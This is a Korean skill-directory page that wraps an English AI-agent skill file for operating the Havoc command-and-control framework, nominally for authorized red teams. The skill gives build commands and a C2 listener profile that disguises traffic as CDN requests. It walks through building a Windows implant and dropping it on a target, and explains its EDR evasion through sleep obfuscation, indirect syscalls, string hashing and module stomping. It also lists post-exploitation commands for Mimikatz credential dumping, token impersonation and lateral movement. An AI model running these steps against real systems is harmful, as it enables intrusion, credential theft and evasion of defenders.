본문으로 건너뛰기
Skillpedia
보안6.5k · #14131

c2-havoc

하는 일

이 가이드는 허가된 레드팀 작업에 쓰이는 오픈소스 명령 프레임워크인 Havoc을 다룹니다. 이를 설정해야 하는 레드팀과 그 트래픽을 알아봐야 하는 방어자를 위한 것입니다.

사용하는 경우

  • ✓허가된 레드팀 연습이 Havoc을 쓰고 그 설정을 이해해야 할 때.
  • ✓방어 팀이 Havoc 프로필이 네트워크 트래픽을 어떻게 바꾸는지 알고 싶을 때.
  • ✓팀이 허가된 연습을 위해 오픈소스 프레임워크들을 비교하는 경우.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2/havoc/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2/havoc/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“허가된 연습을 위해 명령 프레임워크를 비교하고 있습니다. Havoc의 설정 방법과 트래픽 모습을 설명해 주세요.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 팀서버, 클라이언트, 프로필 설정을 설명하고, 연습 중 모니터링이 무엇을 찾아야 하는지 제안합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Havoc C2 Operator Skill

Havoc (C5pider) is an open-source, modern C2 framework released 2023. The Demon agent ships with hardened OPSEC defaults (indirect syscalls, sleep obfuscation, no static strings) that make it harder to detect than older OSS frameworks.

Setup

# Build from source (Linux)
git clone https://github.com/HavocFramework/Havoc
cd Havoc
make ts-build
make client-build
make server-build

# Or run via Docker
docker compose up -d

Architecture

   ┌────────────┐       ┌─────────────┐       ┌──────────┐
   │ Operator   │ <───> │ Teamserver  │ <───> │ Demon    │
   │ (Client)   │  TS   │ (Go + gRPC) │  HTTP │ (Implant)│
   └────────────┘       └─────────────┘       └──────────┘
  • Teamserver: Listens on operator port (40056 default) for clients; HTTP listener for demons.
  • Client: Qt-based desktop UI (Material Dark).
  • Demon: Windows x86_64/x86 implant in C with embedded sleep obfuscation + indirect syscalls.

Configure a profile

Havoc uses a profiles.yaotl HCL-like config. Example for a low-OPSEC HTTP listener:

Teamserver {
  Host = "0.0.0.0"
  Port = 40056
  Build {
    Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
    Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
    Nasm = "/usr/bin/nasm"
  }
}

Operators {
  user "op-alice" { Password = "strongpassword" }
}

Listeners {
  Http {
    Name      = "primary-http"
    Hosts     = ["op-server.com"]
    HostBind  = "0.0.0.0"
    PortBind  = 443
    PortConn  = 443
    Secure    = true
    HostRotation = "round-robin"
    Uris      = ["/jquery-3.3.1.min.js", "/jquery-3.3.2.min.js"]   # blend with CDN traffic
    Headers   = ["X-Forwarded-For: 1.2.3.4"]
    UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
  }
}

Then ./havoc server --profile profiles.yaotl -v.

Build a Demon

In the client UI:

  1. Attack → Payload → Demon
  2. Listener: select your HTTP listener
  3. Arch: x64 / x86
  4. Format: Windows Exe / Windows DLL / Shellcode
  5. Sleep Technique: Ekko (queue user APC ROP chain) / Zilean (timer-based) / FOLIAGE (ROP-based)
  6. Indirect Syscalls: Enable (resolves syscalls at runtime, bypasses static SSN hooks)
  7. Save → drop on target
# CLI build (haven't found stable CLI build API as of 2024; use the Qt client for now)

What makes Havoc's OPSEC strong

Sleep obfuscation (3 options)

  • Ekko: queues a user APC that ROPs through SystemFunction032/033 to RC4-encrypt the .text section, then sleeps, then decrypts.
  • Zilean: timer-based variant.
  • FOLIAGE: pure ROP chain, no Win32 timer dependency.

Result: while Demon sleeps, its code in memory is encrypted → memory scanners (Defender, Elastic, MDE) can't sig-match.

Indirect syscalls

Most EDRs hook NtAllocateVirtualMemory etc. in ntdll. Direct-syscall implants (older Cobalt Strike) bypass this but get detected by syscall-from-non-ntdll heuristics.

Havoc's indirect syscalls: resolve the syscall stub address at runtime, jump TO that address (so the syscall appears to come from ntdll), then return.

No static strings

All strings (Win32 API names, C2 URI paths, command names) are hashed and resolved at runtime via DJB2/FNV1A. strings demon.exe | grep -i shell returns nothing.

Module stomping

Demon module can be hidden by overwriting an existing legitimate module (mscorlib.dll, clr.dll).

Common commands

> shell whoami /all
> proc list
> proc kill <pid>
> token impersonate <pid>
> dotnet inline-execute <SharpHound.exe> -c All
> mimi !sekurlsa::logonpasswords          # built-in Mimikatz wrap
> spawnas <user> <pass> <listener>         # spawn new demon as different user
> jump <psexec64|wmi|smb_lateral> <host>   # lateral movement

Comparison: Havoc vs Sliver vs Mythic vs Cobalt Strike

Havoc Sliver Mythic Cobalt Strike
Sleep obfuscation Built-in (Ekko/Zilean/FOLIAGE) None — needs BOF Per-agent Built-in (Sleep Mask)
Indirect syscalls Yes, opt-in No (only direct) Per-agent Yes (via patches)
OPSEC defaults Strong Fair Per-agent Excellent
Modern UI Yes (Qt MaterialUI) Web + CLI Web Heavy Java
Cross-platform implant Windows only (Demon) Yes (Sliver) Per-agent (Poseidon=macOS/Linux) Yes (Beacon)
License GPL OSS GPL OSS BSD OSS Commerci
자주 묻는 질문

Havoc이란 무엇인가요?

운영자 클라이언트와 팀서버로 구성된 오픈소스 명령 프레임워크입니다.

프로필이란 무엇인가요?

프레임워크가 통신하는 방식을 정하는 설정 파일입니다.

누구를 위한 것인가요?

허가된 레드팀과 이들을 모니터링하는 방어자입니다.

상세 정보

작성자의 원본 설명

Havoc C2 framework (C5pider/Havoc) — modern Sliver/CS alternative, Demon agent with indirect syscalls, sleep obfuscation (Ekko/Zilean/FOLIAGE), Donut PIC loader integration, profile-driven HTTP comms, MaterialUI web client. Best when you need modern OPSEC without Cobalt Strike cost.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#14131
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬